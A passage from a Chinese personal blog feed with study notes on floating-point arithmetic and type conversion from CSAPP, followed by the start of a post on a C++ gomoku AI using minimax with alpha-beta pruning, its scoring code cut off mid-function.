vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.011</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>。</p><ol><li><p>对齐指数：将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">F_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的尾数右移 2 位，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>F</mi><mn>2</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><mn>0.01011</mn><mo>×</mo><msup><mn>2</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">F_2&#x27; = 0.01011 \times 2^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.01011</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>尾数相加：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.101</mn><mo>+</mo><mn>0.01011</mn><mo>=</mo><mn>10.00011</mn></mrow><annotation encoding="application/x-tex">1.101 + 0.01011 = 10.00011</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.101</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.01011</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10.00011</span></span></span></span>。</p></li><li><p>规范化：将尾数右移一位，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000011</mn><mo>×</mo><msup><mn>2</mn><mn>4</mn></msup></mrow><annotation encoding="application/x-tex">1.000011 \times 2^4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.000011</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>舍入：根据舍入规则，对结果进行舍入，比如如果存入三位尾数，结果为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>×</mo><msup><mn>2</mn><mn>4</mn></msup></mrow><annotation encoding="application/x-tex">1.000 \times 2^4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span></span></span></span>，如果存入四位尾数，结果为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.0001</mn><mo>×</mo><msup><mn>2</mn><mn>4</mn></msup></mrow><annotation encoding="application/x-tex">1.0001 \times 2^4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.0001</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span></span></span></span>。</p></li></ol><p>浮点数加法不符合结合律，因为在对齐指数时可能会丢失精度。</p><h1 id="浮点数乘法"><a class="markdownIt-Anchor" href="#浮点数乘法"></a> 浮点数乘法</h1><p>假设有两个浮点数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>1</mn></msub><mo>=</mo><mo stretchy="false">(</mo><mo>−</mo><mn>1</mn><msup><mo stretchy="false">)</mo><msub><mi>s</mi><mn>1</mn></msub></msup><mo>×</mo><msub><mi>M</mi><mn>1</mn></msub><mo>×</mo><msup><mn>2</mn><msub><mi>E</mi><mn>1</mn></msub></msup></mrow><annotation encoding="application/x-tex">F_1 = (-1)^{s_1} \times M_1 \times 2^{E_1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0576em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>F</mi><mn>2</mn></msub><mo>=</mo><mo stretchy="false">(</mo><mo>−</mo><mn>1</mn><msup><mo stretchy="false">)</mo><msub><mi>s</mi><mn>2</mn></msub></msup><mo>×</mo><msub><mi>M</mi><mn>2</mn></msub><mo>×</mo><msup><mn>2</mn><msub><mi>E</mi><mn>2</mn></msub></msup></mrow><annotation encoding="application/x-tex">F_2 = (-1)^{s_2} \times M_2 \times 2^{E_2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0576em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span>。</p><ol><li><p>符号位相乘：结果的符号位为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mo>=</mo><msub><mi>s</mi><mn>1</mn></msub><mo>⊕</mo><msub><mi>s</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">s = s_1 \oplus s_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>尾数相乘：结果的尾数为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><msub><mi>M</mi><mn>1</mn></msub><mo>×</mo><msub><mi>M</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">M = M_1 \times M_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p></li><li><p>指数相加：结果的指数为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo>=</mo><msub><mi>E</mi><mn>1</mn></msub><mo>+</mo><msub><mi>E</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">E = E_1 + E_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p></li><li><p>规范化：如果尾数的最高位为 2，则需要将尾数右移一位，并将指数加 1。在此过程中，如果指数溢出，则结果为无穷大。</p></li><li><p>舍入：根据舍入规则，对结果进行舍入。</p></li></ol><p>同样，浮点数乘法不符合结合律，因为在尾数相乘时可能会丢失精度。</p><h1 id="类型转换"><a class="markdownIt-Anchor" href="#类型转换"></a> 类型转换</h1><p>浮点数与整数之间的转换需要考虑范围和精度的问题。</p><h2 id="将-int-转换为-float"><a class="markdownIt-Anchor" href="#将-int-转换为-float"></a> 将 int 转换为 float</h2><p>int 有 31 位有效位（符号位不算），float 有 23 位尾数，会丢弃掉低位数字，保留高位数字。</p><h2 id="将-floatdouble-转换为-int"><a class="markdownIt-Anchor" href="#将-floatdouble-转换为-int"></a> 将 float/double 转换为 int</h2><p>截断小数部分，保留整数部分。</p><p>如果 float/double 的值超出 int 的表示范围或者是 NaN，则结果未定义，通常会返回 INT_MIN。</p><h2 id="将-intfloat-转换为-double"><a class="markdownIt-Anchor" href="#将-intfloat-转换为-double"></a> 将 int/float 转换为 double</h2><p>int 转换为 double 不会丢失精度，因为 double 有 52 位尾数，足够表示 int 的所有有效位。</p><p>float 转换为 double 也不会丢失精度，因为 double 的尾数比 float 多，可以精确表示 float 的值。</p><p>Data representation 这几节课里面总是强调这些并非数学意义上的 <strong>number</strong>，而是一些二进制串，依赖具体定义的 <strong>representation</strong> 才能被解释为某个数值。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/01/11/csapp/float/</id>
    <link href="https://blog.z0z0r4.top/2026/01/11/csapp/float/"/>
    <published>2026-01-11T08:26:43.000Z</published>
    <summary>
      <![CDATA[<p>关于 CSAPP - Lecture 04 Floating Point 的浮点数（float）的笔记。</p>]]>
    </summary>
    <title>CSAPP Float</title>
    <updated>2026-03-28T06:32:38.223Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <content>
      <![CDATA[<p>大概花了一下午，C++ 期末作业做了个简单的 AI 五子棋，使用 minimax 算法和 alpha-beta 剪枝。</p><span id="more"></span><blockquote><p>封面取自 <a href="https://oi-wiki.org/search/alpha-beta/">OI Wiki Alpha–Beta 剪枝</a></p></blockquote><p>记录一下如何实现：</p><ol><li><p>需要有评估函数，评估下一步棋的好坏。<br />取棋盘上所有的连续的五子组合，除去五个空的情况，然后从黑白两方，分别通过连成了哪些模式，累加双方得分，最后用黑方得分减去白方得分，作为当前棋盘的评估值。</p></li><li><p>选择落子位置时，只考虑当前棋盘上有棋子的格子周围一定范围内的空格，避免搜索过多无意义的位置。</p></li><li><p>实现 minimax 算法，递归地模拟双方落子，直到达到设定的搜索深度。<br />双方都假定对方会在己方落子后，会选择对己方最不利的落子。因此己方需要选择对方无论如何落子，都会使己方评估值的最小值最大的落子，以保证己方利益能够最大化。</p><p>我要得分最高，对方要让我得分最低，那么对方让我得分低，但比其他低的相对最高的，就是我得分最高的选择</p></li><li><p>使用 alpha-beta 剪枝，减少不必要的搜索。<br />在递归搜索过程中，维护两个值 alpha 和 beta，分别表示当前己方能够获得的最小评估值和对方能够获得的最大评估值。</p><p>己方遍历所有空位，然后对方也根据己方落子，评估剩余空位。如果在评估前 n 个落子时，得出己方最小得到的评估值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex"> \alpha </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>，那么在评估后续己方落子时，对方不断尝试剩余空位，尝试找到最小的下法，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>β</mi></mrow><annotation encoding="application/x-tex"> \beta </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span> 尽可能小。</p><p>如果对方发现可以有某个落子，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>β</mi><mo>&lt;</mo><mi>α</mi></mrow><annotation encoding="application/x-tex"> \beta &lt; \alpha </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 的评估值，那么对方肯定会选择这个落子而不是其他落子，使得己方获得更低的评估值，己方肯定也不会选择这个己方落子，所以后续该己方落子所对应的对方落子就不需要再继续评估了，达到剪枝的目的。</p><p>我下 A / B，对面接下来可以下 C/D / 和 E/F, 如果下 A 我最低可以拿到 10 -&gt; alpha，而下 B 之后对方下 E 的话我只能拿到 1 -&gt; beta，那么 beta &lt; alpha，对方肯定下 E，既然我知道下 B 对方必下 E，则我也不会下 B 而会下 A，那么没人在乎 F 是多少，反正下 B 必下 E，所以不用计算 F 的评估值。</p><p>反之如果遍历完 E 和 F 以及后续剩下的，都没有让 beta &lt; alpha 的情况，那么说明下 B 比下 A 更好，我就会选择下 B。</p></li></ol><p>评估规则很简单，只是单纯检测了连子，有空再优化吧，应该把五子的视野扩到到六子？</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">pattern_score</span><span class="params">(<span class="type">int</span> pattern[<span class="number">5</span>], <span class="type">int</span> player)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> opponent = (player == <span class="number">1</span>) ? <span class="number">2</span> : <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Check five in a row</span></span><br><span class="line">    <span class="comment">// Count player and opponent</span></span><br><span class="line">    <span class="type">int</span> player_count = <span class="number">0</span>, opponent_count = <span class="number">0</span>, empty_count = <span class="number">0</span>;</span><br><span class="line">    <span class="type">bool</span> all_player = <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; ++i) &#123;</span><br><span class="line">        <span class="keyword">if</span> (pattern[i] != player)</span><br><span class="line">            all_player = <span class="literal">false</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (pattern[i] == player)</span><br><span class="line">            player_count++;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (pattern[i] == opponent)</span><br><span class="line">            opponent_count++;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            empty_count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (all_player)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">100000</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (opponent_count &gt; <span class="number">0</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">// opponent blocks</span></span><br><span class="line"></span><br><span class="line">    <span 